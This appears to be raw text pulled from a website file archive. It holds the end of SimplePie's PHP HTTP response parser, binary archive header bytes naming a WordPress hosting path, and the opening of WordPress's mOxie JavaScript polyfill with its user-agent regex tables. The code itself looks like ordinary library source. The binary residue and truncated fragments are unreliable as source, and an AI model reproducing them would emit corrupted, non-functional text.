            || ($this->data[$this->position] === "\x0A"
                && isset($this->data[$this->position + 1])
                && ($this->data[$this->position + 1] === "\x09" || $this->data[$this->position + 1] === "\x20")));
    }

    /**
     * Parse the HTTP version
     */
    protected function http_version()
    {
        if (strpos($this->data, "\x0A") !== false && strtoupper(substr($this->data, 0, 5)) === 'HTTP/') {
            $len = strspn($this->data, '0123456789.', 5);
            $this->http_version = substr($this->data, 5, $len);
            $this->position += 5 + $len;
            if (substr_count($this->http_version, '.') <= 1) {
                $this->http_version = (float) $this->http_version;
                $this->position += strspn($this->data, "\x09\x20", $this->position);
                $this->state = self::STATE_STATUS;
            } else {
                $this->state = self::STATE_ERROR;
            }
        } else {
            $this->state = self::STATE_ERROR;
        }
    }

    /**
     * Parse the status code
     */
    protected function status()
    {
        if ($len = strspn($this->data, '0123456789', $this->position)) {
            $this->status_code = (int) substr($this->data, $this->position, $len);
            $this->position += $len;
            $this->state = self::STATE_REASON;
        } else {
            $this->state = self::STATE_ERROR;
        }
    }

    /**
     * Parse the reason phrase
     */
    protected function reason()
    {
        $len = strcspn($this->data, "\x0A", $this->position);
        $this->reason = trim(substr($this->data, $this->position, $len), "\x09\x0D\x20");
        $this->position += $len + 1;
        $this->state = self::STATE_NEW_LINE;
    }

    /**
     * Deal with a new line, shifting data around as needed
     */
    protected function new_line()
    {
        $this->value = trim($this->value, "\x0D\x20");
        if ($this->name !== '' && $this->value !== '') {
            $this->name = strtolower($this->name);
            // We should only use the last Content-Type header. c.f. issue #1
            if (isset($this->headers[$this->name]) && $this->name !== 'content-type') {
                $this->headers[$this->name] .= ', ' . $this->value;
            } else {
                $this->headers[$this->name] = $this->value;
            }
        }
        $this->name = '';
        $this->value = '';
        if (substr($this->data[$this->position], 0, 2) === "\x0D\x0A") {
            $this->position += 2;
            $this->state = self::STATE_BODY;
        } elseif ($this->data[$this->position] === "\x0A") {
            $this->position++;
            $this->state = self::STATE_BODY;
        } else {
            $this->state = self::STATE_NAME;
        }
    }

    /**
     * Parse a header name
     */
    protected function name()
    {
        $len = strcspn($this->data, "\x0A:", $this->position);
        if (isset($this->data[$this->position + $len])) {
            if ($this->data[$this->position + $len] === "\x0A") {
                $this->position += $len;
                $this->state = self::STATE_NEW_LINE;
            } else {
                $this->name = substr($this->data, $this->position, $len);
                $this->position += $len + 1;
                $this->state = self::STATE_VALUE;
            }
        } else {
            $this->state = self::STATE_ERROR;
        }
    }

    /**
     * Parse LWS, replacing consecutive LWS characters with a single space
     */
    protected function linear_whitespace()
    {
        do {
            if (substr($this->data, $this->position, 2) === "\x0D\x0A") {
                $this->position += 2;
            } elseif ($this->data[$this->position] === "\x0A") {
                $this->position++;
            }
            $this->position += strspn($this->data, "\x09\x20", $this->position);
        } while ($this->has_data() && $this->is_linear_whitespace());
        $this->value .= "\x20";
    }

    /**
     * See what state to move to while within non-quoted header values
     */
    protected function value()
    {
        if ($this->is_linear_whitespace()) {
            $this->linear_whitespace();
        } else {
            switch ($this->data[$this->position]) {
                case '"':
                    // Workaround for ETags: we have to include the quotes as
                    // part of the tag.
                    if (strtolower($this->name) === 'etag') {
                        $this->value .= '"';
                        $this->position++;
                        $this->state = self::STATE_VALUE_CHAR;
                        break;
                    }
                    $this->position++;
                    $this->state = self::STATE_QUOTE;
                    break;

                case "\x0A":
                    $this->position++;
                    $this->state = self::STATE_NEW_LINE;
                    break;

                default:
                    $this->state = self::STATE_VALUE_CHAR;
                    break;
            }
        }
    }

    /**
     * Parse a header value while outside quotes
     */
    protected function value_char()
    {
        $len = strcspn($this->data, "\x09\x20\x0A\"", $this->position);
        $this->value .= substr($this->data, $this->position, $len);
        $this->position += $len;
        $this->state = self::STATE_VALUE;
    }

    /**
     * See what state to move to while within quoted header values
     */
    protected function quote()
    {
        if ($this->is_linear_whitespace()) {
            $this->linear_whitespace();
        } else {
            switch ($this->data[$this->position]) {
                case '"':
                    $this->position++;
                    $this->state = self::STATE_VALUE;
                    break;

                case "\x0A":
                    $this->position++;
                    $this->state = self::STATE_NEW_LINE;
                    break;

                case '\\':
                    $this->position++;
                    $this->state = self::STATE_QUOTE_ESCAPED;
                    break;

                default:
                    $this->state = self::STATE_QUOTE_CHAR;
                    break;
            }
        }
    }

    /**
     * Parse a header value while within quotes
     */
    protected function quote_char()
    {
        $len = strcspn($this->data, "\x09\x20\x0A\"\\", $this->position);
        $this->value .= substr($this->data, $this->position, $len);
        $this->position += $len;
        $this->state = self::STATE_VALUE;
    }

    /**
     * Parse an escaped character within quotes
     */
    protected function quote_escaped()
    {
        $this->value .= $this->data[$this->position];
        $this->position++;
        $this->state = self::STATE_QUOTE;
    }

    /**
     * Parse the body
     */
    protected function body()
    {
        $this->body = substr($this->data, $this->position);
        if (!empty($this->headers['transfer-encoding'])) {
            unset($this->headers['transfer-encoding']);
            $this->state = self::STATE_CHUNKED;
        } else {
            $this->state = self::STATE_EMIT;
        }
    }

    /**
     * Parsed a "Transfer-Encoding: chunked" body
     */
    protected function chunked()
    {
        if (!preg_match('/^([0-9a-f]+)[^\r\n]*\r\n/i', trim($this->body))) {
            $this->state = self::STATE_EMIT;
            return;
        }

        $decoded = '';
        $encoded = $this->body;

        while (true) {
            $is_chunked = (bool) preg_match('/^([0-9a-f]+)[^\r\n]*\r\n/i', $encoded, $matches);
            if (!$is_chunked) {
                // Looks like it's not chunked after all
                $this->state = self::STATE_EMIT;
                return;
            }

            $length = hexdec(trim($matches[1]));
            if ($length === 0) {
                // Ignore trailer headers
                $this->state = self::STATE_EMIT;
                $this->body = $decoded;
                return;
            }

            $chunk_length = strlen($matches[0]);
            $decoded .= substr($encoded, $chunk_length, $length);
            $encoded = substr($encoded, $chunk_length + $length + 2);

            // BC for PHP < 8.0: substr() can return bool instead of string
            $encoded = ($encoded === false) ? '' : $encoded;

            if (trim($encoded) === '0' || empty($encoded)) {
                $this->state = self::STATE_EMIT;
                $this->body = $decoded;
                return;
            }
        }
    }

    /**
     * Prepare headers (take care of proxies headers)
     *
     * @param string  $headers Raw headers
     * @param integer $count   Redirection count. Default to 1.
     *
     * @return string
     */
    public static function prepareHeaders($headers, $count = 1)
    {
        $data = explode("\r\n\r\n", $headers, $count);
        $data = array_pop($data);
        if (false !== stripos($data, "HTTP/1.0 200 Connection established\r\n")) {
            $exploded = explode("\r\n\r\n", $data, 2);
            $data = end($exploded);
        }
        if (false !== stripos($data, "HTTP/1.1 200 Connection established\r\n")) {
            $exploded = explode("\r\n\r\n", $data, 2);
            $data = end($exploded);
        }
        return $data;
    }
}

class_alias('SimplePie\HTTP\Parser', 'SimplePie_HTTP_Parser');
PK�bd[s�	�;:;:
Parser.phpnu�[���PKJu:14338/moxie.js.tar000064400000764000151024420100007466 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/js/plupload/moxie.js000064400000760606151024232660025307 0ustar00;var MXI_DEBUG = false;
/**
 * mOxie - multi-runtime File API & XMLHttpRequest L2 Polyfill
 * v1.3.5.1
 *
 * Copyright 2013, Moxiecode Systems AB
 * Released under GPL License.
 *
 * License: http://www.plupload.com/license
 * Contributing: http://www.plupload.com/contributing
 *
 * Date: 2016-05-15
 */
/**
 * Compiled inline version. (Library mode)
 */

/**
 * Modified for WordPress.
 * - Silverlight and Flash runtimes support was removed. See https://core.trac.wordpress.org/ticket/41755.
 * - A stray Unicode character has been removed. See https://core.trac.wordpress.org/ticket/59329.
 *
 * This is a de-facto fork of the mOxie library that will be maintained by WordPress due to upstream license changes
 * that are incompatible with the GPL.
 */

/*jshint smarttabs:true, undef:true, latedef:true, curly:true, bitwise:true, camelcase:true */
/*globals $code */

(function(exports, undefined) {
	"use strict";

	var modules = {};

	function require(ids, callback) {
		var module, defs = [];

		for (var i = 0; i < ids.length; ++i) {
			module = modules[ids[i]] || resolve(ids[i]);
			if (!module) {
				throw 'module definition dependecy not found: ' + ids[i];
			}

			defs.push(module);
		}

		callback.apply(null, defs);
	}

	function define(id, dependencies, definition) {
		if (typeof id !== 'string') {
			throw 'invalid module definition, module id must be defined and be a string';
		}

		if (dependencies === undefined) {
			throw 'invalid module definition, dependencies must be specified';
		}

		if (definition === undefined) {
			throw 'invalid module definition, definition function must be specified';
		}

		require(dependencies, function() {
			modules[id] = definition.apply(null, arguments);
		});
	}

	function defined(id) {
		return !!modules[id];
	}

	function resolve(id) {
		var target = exports;
		var fragments = id.split(/[.\/]/);

		for (var fi = 0; fi < fragments.length; ++fi) {
			if (!target[fragments[fi]]) {
				return;
			}

			target = target[fragments[fi]];
		}

		return target;
	}

	function expose(ids) {
		for (var i = 0; i < ids.length; i++) {
			var target = exports;
			var id = ids[i];
			var fragments = id.split(/[.\/]/);

			for (var fi = 0; fi < fragments.length - 1; ++fi) {
				if (target[fragments[fi]] === undefined) {
					target[fragments[fi]] = {};
				}

				target = target[fragments[fi]];
			}

			target[fragments[fragments.length - 1]] = modules[id];
		}
	}

// Included from: src/javascript/core/utils/Basic.js

/**
 * Basic.js
 *
 * Copyright 2013, Moxiecode Systems AB
 * Released under GPL License.
 *
 * License: http://www.plupload.com/license
 * Contributing: http://www.plupload.com/contributing
 */

define('moxie/core/utils/Basic', [], function() {
	/**
	Gets the true type of the built-in object (better version of typeof).
	@author Angus Croll (http://javascriptweblog.wordpress.com/)

	@method typeOf
	@for Utils
	@static
	@param {Object} o Object to check.
	@return {String} Object [[Class]]
	*/
	var typeOf = function(o) {
		var undef;

		if (o === undef) {
			return 'undefined';
		} else if (o === null) {
			return 'null';
		} else if (o.nodeType) {
			return 'node';
		}

		// the snippet below is awesome, however it fails to detect null, undefined and arguments types in IE lte 8
		return ({}).toString.call(o).match(/\s([a-z|A-Z]+)/)[1].toLowerCase();
	};
		
	/**
	Extends the specified object with another object.

	@method extend
	@static
	@param {Object} target Object to extend.
	@param {Object} [obj]* Multiple objects to extend with.
	@return {Object} Same as target, the extended object.
	*/
	var extend = function(target) {
		var undef;

		each(arguments, function(arg, i) {
			if (i > 0) {
				each(arg, function(value, key) {
					if (value !== undef) {
						if (typeOf(target[key]) === typeOf(value) && !!~inArray(typeOf(value), ['array', 'object'])) {
							extend(target[key], value);
						} else {
							target[key] = value;
						}
					}
				});
			}
		});
		return target;
	};
		
	/**
	Executes the callback function for each item in array/object. If you return false in the
	callback it will break the loop.

	@method each
	@static
	@param {Object} obj Object to iterate.
	@param {function} callback Callback function to execute for each item.
	*/
	var each = function(obj, callback) {
		var length, key, i, undef;

		if (obj) {
			if (typeOf(obj.length) === 'number') { // it might be Array, FileList or even arguments object
				// Loop array items
				for (i = 0, length = obj.length; i < length; i++) {
					if (callback(obj[i], i) === false) {
						return;
					}
				}
			} else if (typeOf(obj) === 'object') {
				// Loop object items
				for (key in obj) {
					if (obj.hasOwnProperty(key)) {
						if (callback(obj[key], key) === false) {
							return;
						}
					}
				}
			}
		}
	};

	/**
	Checks if object is empty.
	
	@method isEmptyObj
	@static
	@param {Object} o Object to check.
	@return {Boolean}
	*/
	var isEmptyObj = function(obj) {
		var prop;

		if (!obj || typeOf(obj) !== 'object') {
			return true;
		}

		for (prop in obj) {
			return false;
		}

		return true;
	};

	/**
	Recieve an array of functions (usually async) to call in sequence, each  function
	receives a callback as first argument that it should call, when it completes. Finally,
	after everything is complete, main callback is called. Passing truthy value to the
	callback as a first argument will interrupt the sequence and invoke main callback
	immediately.

	@method inSeries
	@static
	@param {Array} queue Array of functions to call in sequence
	@param {Function} cb Main callback that is called in the end, or in case of error
	*/
	var inSeries = function(queue, cb) {
		var i = 0, length = queue.length;

		if (typeOf(cb) !== 'function') {
			cb = function() {};
		}

		if (!queue || !queue.length) {
			cb();
		}

		function callNext(i) {
			if (typeOf(queue[i]) === 'function') {
				queue[i](function(error) {
					/*jshint expr:true */
					++i < length && !error ? callNext(i) : cb(error);
				});
			}
		}
		callNext(i);
	};


	/**
	Recieve an array of functions (usually async) to call in parallel, each  function
	receives a callback as first argument that it should call, when it completes. After 
	everything is complete, main callback is called. Passing truthy value to the
	callback as a first argument will interrupt the process and invoke main callback
	immediately.

	@method inParallel
	@static
	@param {Array} queue Array of functions to call in sequence
	@param {Function} cb Main callback that is called in the end, or in case of error
	*/
	var inParallel = function(queue, cb) {
		var count = 0, num = queue.length, cbArgs = new Array(num);

		each(queue, function(fn, i) {
			fn(function(error) {
				if (error) {
					return cb(error);
				}
				
				var args = [].slice.call(arguments);
				args.shift(); // strip error - undefined or not

				cbArgs[i] = args;
				count++;

				if (count === num) {
					cbArgs.unshift(null);
					cb.apply(this, cbArgs);
				} 
			});
		});
	};
	
	
	/**
	Find an element in array and return it's index if present, otherwise return -1.
	
	@method inArray
	@static
	@param {Mixed} needle Element to find
	@param {Array} array
	@return {Int} Index of the element, or -1 if not found
	*/
	var inArray = function(needle, array) {
		if (array) {
			if (Array.prototype.indexOf) {
				return Array.prototype.indexOf.call(array, needle);
			}
		
			for (var i = 0, length = array.length; i < length; i++) {
				if (array[i] === needle) {
					return i;
				}
			}
		}
		return -1;
	};


	/**
	Returns elements of first array if they are not present in second. And false - otherwise.

	@private
	@method arrayDiff
	@param {Array} needles
	@param {Array} array
	@return {Array|Boolean}
	*/
	var arrayDiff = function(needles, array) {
		var diff = [];

		if (typeOf(needles) !== 'array') {
			needles = [needles];
		}

		if (typeOf(array) !== 'array') {
			array = [array];
		}

		for (var i in needles) {
			if (inArray(needles[i], array) === -1) {
				diff.push(needles[i]);
			}	
		}
		return diff.length ? diff : false;
	};


	/**
	Find intersection of two arrays.

	@private
	@method arrayIntersect
	@param {Array} array1
	@param {Array} array2
	@return {Array} Intersection of two arrays or null if there is none
	*/
	var arrayIntersect = function(array1, array2) {
		var result = [];
		each(array1, function(item) {
			if (inArray(item, array2) !== -1) {
				result.push(item);
			}
		});
		return result.length ? result : null;
	};
	
	
	/**
	Forces anything into an array.
	
	@method toArray
	@static
	@param {Object} obj Object with length field.
	@return {Array} Array object containing all items.
	*/
	var toArray = function(obj) {
		var i, arr = [];

		for (i = 0; i < obj.length; i++) {
			arr[i] = obj[i];
		}

		return arr;
	};
	
			
	/**
	Generates an unique ID. The only way a user would be able to get the same ID is if the two persons
	at the same exact millisecond manage to get the same 5 random numbers between 0-65535; it also uses 
	a counter so each ID is guaranteed to be unique for the given page. It is more probable for the earth 
	to be hit with an asteroid.
	
	@method guid
	@static
	@param {String} prefix to prepend (by default 'o' will be prepended).
	@method guid
	@return {String} Virtually unique id.
	*/
	var guid = (function() {
		var counter = 0;
		
		return function(prefix) {
			var guid = new Date().getTime().toString(32), i;

			for (i = 0; i < 5; i++) {
				guid += Math.floor(Math.random() * 65535).toString(32);
			}
			
			return (prefix || 'o_') + guid + (counter++).toString(32);
		};
	}());
	

	/**
	Trims white spaces around the string
	
	@method trim
	@static
	@param {String} str
	@return {String}
	*/
	var trim = function(str) {
		if (!str) {
			return str;
		}
		return String.prototype.trim ? String.prototype.trim.call(str) : str.toString().replace(/^\s*/, '').replace(/\s*$/, '');
	};


	/**
	Parses the specified size string into a byte value. For example 10kb becomes 10240.
	
	@method parseSizeStr
	@static
	@param {String/Number} size String to parse or number to just pass through.
	@return {Number} Size in bytes.
	*/
	var parseSizeStr = function(size) {
		if (typeof(size) !== 'string') {
			return size;
		}
		
		var muls = {
				t: 1099511627776,
				g: 1073741824,
				m: 1048576,
				k: 1024
			},
			mul;


		size = /^([0-9\.]+)([tmgk]?)$/.exec(size.toLowerCase().replace(/[^0-9\.tmkg]/g, ''));
		mul = size[2];
		size = +size[1];
		
		if (muls.hasOwnProperty(mul)) {
			size *= muls[mul];
		}
		return Math.floor(size);
	};


	/**
	 * Pseudo sprintf implementation - simple way to replace tokens with specified values.
	 *
	 * @param {String} str String with tokens
	 * @return {String} String with replaced tokens
	 */
	var sprintf = function(str) {
		var args = [].slice.call(arguments, 1);

		return str.replace(/%[a-z]/g, function() {
			var value = args.shift();
			return typeOf(value) !== 'undefined' ? value : '';
		});
	};
	

	return {
		guid: guid,
		typeOf: typeOf,
		extend: extend,
		each: each,
		isEmptyObj: isEmptyObj,
		inSeries: inSeries,
		inParallel: inParallel,
		inArray: inArray,
		arrayDiff: arrayDiff,
		arrayIntersect: arrayIntersect,
		toArray: toArray,
		trim: trim,
		sprintf: sprintf,
		parseSizeStr: parseSizeStr
	};
});

// Included from: src/javascript/core/utils/Env.js

/**
 * Env.js
 *
 * Copyright 2013, Moxiecode Systems AB
 * Released under GPL License.
 *
 * License: http://www.plupload.com/license
 * Contributing: http://www.plupload.com/contributing
 */

define("moxie/core/utils/Env", [
	"moxie/core/utils/Basic"
], function(Basic) {
	
	/**
	 * UAParser.js v0.7.7
	 * Lightweight JavaScript-based User-Agent string parser
	 * https://github.com/faisalman/ua-parser-js
	 *
	 * Copyright © 2012-2015 Faisal Salman <fyzlman@gmail.com>
	 * Dual licensed under GPLv2 & MIT
	 */
	var UAParser = (function (undefined) {

	    //////////////
	    // Constants
	    /////////////


	    var EMPTY       = '',
	        UNKNOWN     = '?',
	        FUNC_TYPE   = 'function',
	        UNDEF_TYPE  = 'undefined',
	        OBJ_TYPE    = 'object',
	        MAJOR       = 'major',
	        MODEL       = 'model',
	        NAME        = 'name',
	        TYPE        = 'type',
	        VENDOR      = 'vendor',
	        VERSION     = 'version',
	        ARCHITECTURE= 'architecture',
	        CONSOLE     = 'console',
	        MOBILE      = 'mobile',
	        TABLET      = 'tablet';


	    ///////////
	    // Helper
	    //////////


	    var util = {
	        has : function (str1, str2) {
	            return str2.toLowerCase().indexOf(str1.toLowerCase()) !== -1;
	        },
	        lowerize : function (str) {
	            return str.toLowerCase();
	        }
	    };


	    ///////////////
	    // Map helper
	    //////////////


	    var mapper = {

	        rgx : function () {

	            // loop through all regexes maps
	            for (var result, i = 0, j, k, p, q, matches, match, args = arguments; i < args.length; i += 2) {

	                var regex = args[i],       // even sequence (0,2,4,..)
	                    props = args[i + 1];   // odd sequence (1,3,5,..)

	                // construct object barebones
	                if (typeof(result) === UNDEF_TYPE) {
	                    result = {};
	                    for (p in props) {
	                        q = props[p];
	                        if (typeof(q) === OBJ_TYPE) {
	                            result[q[0]] = undefined;
	                        } else {
	                            result[q] = undefined;
	                        }
	                    }
	                }

	                // try matching uastring with regexes
	                for (j = k = 0; j < regex.length; j++) {
	                    matches = regex[j].exec(this.getUA());
	                    if (!!matches) {
	                        for (p = 0; p < props.length; p++) {
	                            match = matches[++k];
	                            q = props[p];
	                            // check if given property is actually array
	                            if (typeof(q) === OBJ_TYPE && q.length > 0) {
	                                if (q.length == 2) {
	                                    if (typeof(q[1]) == FUNC_TYPE) {
	                                        // assign modified match
	                                        result[q[0]] = q[1].call(this, match);
	                                    } else {
	                                        // assign given value, ignore regex match
	                                        result[q[0]] = q[1];
	                                    }
	                                } else if (q.length == 3) {
	                                    // check whether function or regex
	                                    if (typeof(q[1]) === FUNC_TYPE && !(q[1].exec && q[1].test)) {
	                                        // call function (usually string mapper)
	                                        result[q[0]] = match ? q[1].call(this, match, q[2]) : undefined;
	                                    } else {
	                                        // sanitize match using given regex
	                                        result[q[0]] = match ? match.replace(q[1], q[2]) : undefined;
	                                    }
	                                } else if (q.length == 4) {
	                                        result[q[0]] = match ? q[3].call(this, match.replace(q[1], q[2])) : undefined;
	                                }
	                            } else {
	                                result[q] = match ? match : undefined;
	                            }
	                        }
	                        break;
	                    }
	                }

	                if(!!matches) break; // break the loop immediately if match found
	            }
	            return result;
	        },

	        str : function (str, map) {

	            for (var i in map) {
	                // check if array
	                if (typeof(map[i]) === OBJ_TYPE && map[i].length > 0) {
	                    for (var j = 0; j < map[i].length; j++) {
	                        if (util.has(map[i][j], str)) {
	                            return (i === UNKNOWN) ? undefined : i;
	                        }
	                    }
	                } else if (util.has(map[i], str)) {
	                    return (i === UNKNOWN) ? undefined : i;
	                }
	            }
	            return str;
	        }
	    };


	    ///////////////
	    // String map
	    //////////////


	    var maps = {

	        browser : {
	            oldsafari : {
	                major : {
	                    '1' : ['/8', '/1', '/3'],
	                    '2' : '/4',
	                    '?' : '/'
	                },
	                version : {
	                    '1.0'   : '/8',
	                    '1.2'   : '/1',
	                    '1.3'   : '/3',
	                    '2.0'   : '/412',
	                    '2.0.2' : '/416',
	                    '2.0.3' : '/417',
	                    '2.0.4' : '/419',
	                    '?'     : '/'
	                }
	            }
	        },

	        device : {
	            sprint : {
	                model : {
	                    'Evo Shift 4G' : '7373KT'
	                },
	                vendor : {
	                    'HTC'       : 'APA',
	                    'Sprint'    : 'Sprint'
	                }
	            }
	        },

	        os : {
	            windows : {
	                version : {
	                    'ME'        : '4.90',
	                    'NT 3.11'   : 'NT3.51',
	                    'NT 4.0'    : 'NT4.0',
	                    '2000'      : 'NT 5.0',
	                    'XP'        : ['NT 5.1', 'NT 5.2'],
	                    'Vista'     : 'NT 6.0',
	                    '7'         : 'NT 6.1',
	                    '8'         : 'NT 6.2',
	                    '8.1'       : 'NT 6.3',
	                    'RT'        : 'ARM'
	                }
	            }
	        }
	    };


	    //////////////
	    // Regex map
	    /////////////


	    var regexes = {

	        browser : [[
	        
	            // Presto based
	            /(opera\smini)\/([\w\.-]+)/i,                                       // Opera Mini
	            /(opera\s[mobiletab]+).+version\/([\w\.-]+)/i,                      // Opera Mobi/Tablet
	            /(opera).+version\/([\w\.]+)/i,                                     // Opera > 9.80
	            /(opera)[\/\s]+([\w\.]+)/i                                          // Opera < 9.80

	            ], [NAME, VERSION], [

	            /\s(opr)\/([\w\.]+)/i                                               // Opera Webkit
	            ], [[NAME, 'Opera'], VERSION], [

	            // Mixed
	            /(kindle)\/([\w\.]+)/i,                                             // Kindle
	            /(lunascape|maxthon|netfront|jasmine|blazer)[\/\s]?([\w\.]+)*/i,
	                                                                                // Lunascape/Maxthon/Netfront/Jasmine/Blazer

	            // Trident based
	            /(avant\s|iemobile|slim|baidu)(?:browser)?[\/\s]?([\w\.]*)/i,
	                                                                                // Avant/IEMobile/SlimBrowser/Baidu
	            /(?:ms|\()(ie)\s([\w\.]+)/i,                                        // Internet Explorer

	            // Webkit/KHTML based
	            /(rekonq)\/([\w\.]+)*/i,                                            // Rekonq
	            /(chromium|flock|rockmelt|midori|epiphany|silk|skyfire|ovibrowser|bolt|iron|vivaldi)\/([\w\.-]+)/i
	                                                                                // Chromium/Flock/RockMelt/Midori/Epiphany/Silk/Skyfire/Bolt/Iron
	            ], [NAME, VERSION], [

	            /(trident).+rv[:\s]([\w\.]+).+like\sgecko/i                         // IE11
	            ], [[NAME, 'IE'], VERSION], [

	            /(edge)\/((\d+)?[\w\.]+)/i                                          // Microsoft Edge
	            ], [NAME, VERSION], [

	            /(yabrowser)\/([\w\.]+)/i                                           // Yandex
	            ], [[NAME, 'Yandex'], VERSION], [

	            /(comodo_dragon)\/([\w\.]+)/i                                       // Comodo Dragon
	            ], [[NAME, /_/g, ' '], VERSION], [

	            /(chrome|omniweb|arora|[tizenoka]{5}\s?browser)\/v?([\w\.]+)/i,
	                                                                                // Chrome/OmniWeb/Arora/Tizen/Nokia
	            /(uc\s?browser|qqbrowser)[\/\s]?([\w\.]+)/i
	                                                                                // UCBrowser/QQBrowser
	            ], [NAME, VERSION], [

	            /(dolfin)\/([\w\.]+)/i                                              // Dolphin
	            ], [[NAME, 'Dolphin'], VERSION], [

	            /((?:android.+)crmo|crios)\/([\w\.]+)/i                             // Chrome for Android/iOS
	            ], [[NAME, 'Chrome'], VERSION], [

	            /XiaoMi\/MiuiBrowser\/([\w\.]+)/i                                   // MIUI Browser
	            ], [VERSION, [NAME, 'MIUI Browser']], [

	            /android.+version\/([\w\.]+)\s+(?:mobile\s?safari|safari)/i         // Android Browser
	            ], [VERSION, [NAME, 'Android Browser']], [

	            /FBAV\/([\w\.]+);/i                                                 // Facebook App for iOS
	            ], [VERSION, [NAME, 'Facebook']], [

	            /version\/([\w\.]+).+?mobile\/\w+\s(safari)/i                       // Mobile Safari
	            ], [VERSION, [NAME, 'Mobile Safari']], [

	            /version\/([\w\.]+).+?(mobile\s?safari|safari)/i                    // Safari & Safari Mobile
	            ], [VERSION, NAME], [

	            /webkit.+?(mobile\s?safari|safari)(\/[\w\.]+)/i                     // Safari < 3.0
	            ], [NAME, [VERSION, mapper.str, maps.browser.oldsafari.version]], [

	            /(konqueror)\/([\w\.]+)/i,                                          // Konqueror
	            /(webkit|khtml)\/([\w\.]+)/i
	            ], [NAME, VERSION], [

	            // Gecko based
	            /(navigator|netscape)\/([\w\.-]+)/i                                 // Netscape
	            ], [[NAME, 'Netscape'], VERSION], [
	            /(swiftfox)/i,                                                      // Swiftfox
	            /(icedragon|iceweasel|camino|chimera|fennec|maemo\sbrowser|minimo|conkeror)[\/\s]?([\w\.\+]+)/i,
	                                                                                // IceDragon/Iceweasel/Camino/Chimera/Fennec/Maemo/Minimo/Conkeror
	            /(firefox|seamonkey|k-meleon|icecat|iceape|firebird|phoenix)\/([\w\.-]+)/i,
	                                                                                // Firefox/SeaMonkey/K-Meleon/IceCat/IceApe/Firebird/Phoenix
	            /(mozilla)\/([\w\.]+).+rv\:.+gecko\/\d+/i,                          // Mozilla

	            // Other
	            /(polaris|lynx|dillo|icab|doris|amaya|w3m|netsurf)[\/\s]?([\w\.]+)/i,
	                                                                                // Polaris/Lynx/Dillo/iCab/Doris/Amaya/w3m/NetSurf
	            /(links)\s\(([\w\.]+)/i,                                            // Links
	            /(gobrowser)\/?([\w\.]+)*/i,                                        // GoBrowser
	            /(ice\s?browser)\/v?([\w\._]+)/i,                                   // ICE Browser
	            /(mosaic)[\/\s]([\w\.]+)/i                                          // Mosaic
	            ], [NAME, VERSION]
	        ],

	        engine : [[

	            /windows.+\sedge\/([\w\.]+)/i                                       // EdgeHTML
	            ], [VERSION, [NAME, 'EdgeHTML']], [

	            /(presto)\/([\w\.]+)/i,                                             // Presto
	            /(webkit|trident|netfront|netsurf|amaya|lynx|w3m)\/([\w\.]+)/i,     // WebKit/Trident/NetFront/NetSurf/Amaya/Lynx/w3m
	            /(khtml|tasman|links)[\/\s]\(?([\w\.]+)/i,                          // KHTML/Tasman/Links
	            /(icab)[\/\s]([23]\.[\d\.]+)/i                                      // iCab
	            ], [NAME, VERSION], [

	            /rv\:([\w\.]+).*(gecko)/i                                           // Gecko
	            ], [VERSION, NAME]
	        ],

	        os : [[

	            // Windows based
	            /microsoft\s(windows)\s(vista|xp)/i                                 // Windows (iTunes)
	            ], [NAME, VERSION], [
	            /(windows)\snt\s6\.2;\s(arm)/i,                                     // Windows RT
	            /(windows\sphone(?:\sos)*|windows\smobile|windows)[\s\/]?([ntce\d\.\s]+\w)/i
	            ], [NAME, [VERSION, mapper.str, maps.os.windows.version]], [
	            /(win(?=3|9|n)|win\s9x\s)([nt\d\.]+)/i
	            ], [[NAME, 'Windows'], [VERSION, mapper.str, maps.os.windows.version]], [

	            // Mobile/Embedded OS
	            /\((bb)(10);/i                                                      // BlackBerry 10
	            ], [[NAME, 'BlackBerry'], VERSION], [
	            /(blackberry)\w*\/?([\w\.]+)*/i,                                    // Blackberry
	            /(tizen)[\/\s]([\w\.]+)/i,                                          // Tizen
	            /(android|webos|palm\os|qnx|bada|rim\stablet\sos|meego|contiki)[\/\s-]?([\w\.]+)*/i,
	                                                                                // Android/WebOS/Palm/QNX/Bada/RIM/MeeGo/Contiki
	            /linux;.+(sailfish);/i                                              // Sailfish OS
	            ], [NAME, VERSION], [
	            /(symbian\s?os|symbos|s60(?=;))[\/\s-]?([\w\.]+)*/i                 // Symbian
	            ], [[NAME, 'Symbian'], VERSION], [
	            /\((series40);/i                                                    // Series 40
	            ], [NAME], [
	            /mozilla.+\(mobile;.+gecko.+firefox/i                               // Firefox OS
	            ], [[NAME, 'Firefox OS'], VERSION], [

	            // Console
	            /(nintendo|playstation)\s([wids3portablevu]+)/i,                    // Nintendo/Playstation

	            // GNU/Linux based
	            /(mint)[\/\s\(]?(\w+)*/i,                                           // Mint
	            /(mageia|vectorlinux)[;\s]/i,                                       // Mageia/VectorLinux
	            /(joli|[kxln]?ubuntu|debian|[open]*suse|gentoo|arch|slackware|fedora|mandriva|centos|pclinuxos|redhat|zenwalk|linpus)[\/\s-]?([\w\.-]+)*/i,
	                                                                                // Joli/Ubuntu/Debian/SUSE/Gentoo/Arch/Slackware
	                                                                                // Fedora/Mandriva/CentOS/PCLinuxOS/RedHat/Zenwalk/Linpus
	            /(hurd|linux)\s?([\w\.]+)*/i,                                       // Hurd/Linux
	            /(gnu)\s?([\w\.]+)*/i                                               // GNU
	            ], [NAME, VERSION], [

	            /(cros)\s[\w]+\s([\w\.]+\w)/i                                       // Chromium OS
	            ], [[NAME, 'Chromium OS'], VERSION],[

	            // Solaris
	            /(sunos)\s?([\w\.]+\d)*/i                                           // Solaris
	            ], [[NAME, 'Solaris'], VERSION], [

	            // BSD based
	            /\s([frentopc-]{0,4}bsd|dragonfly)\s?([\w\.]+)*/i                   // FreeBSD/NetBSD/OpenBSD/PC-BSD/DragonFly
	            ], [NAME, VERSION],[

	            /(ip[honead]+)(?:.*os\s*([\w]+)*\slike\smac|;\sopera)/i             // iOS
	            ], [[NAME, 'iOS'], [VERSION, /_/g, '.']], [

	            /(mac\sos\sx)\s?([\w\s\.]+\w)*/i,
	            /(macintosh|mac(?=_powerpc)\s)/i                                    // Mac OS
	            ], [[NAME, 'Mac OS'], [VERSION, /_/g, '.']], [

	            // Other
	            /((?:open)?solaris)[\/\s-]?([\w\.]+)*/i,                            // Solaris
	            /(haiku)\s(\w+)/i,                                                  // Haiku
	            /(aix)\s((\d)(?=\.|\)|\s)[\w\.]*)*/i,                               // AIX
	            /(plan\s9|minix|beos|os\/2|amigaos|morphos|risc\sos|openvms)/i,
	                                                                                // Plan9/Minix/BeOS/OS2/AmigaOS/MorphOS/RISCOS/OpenVMS
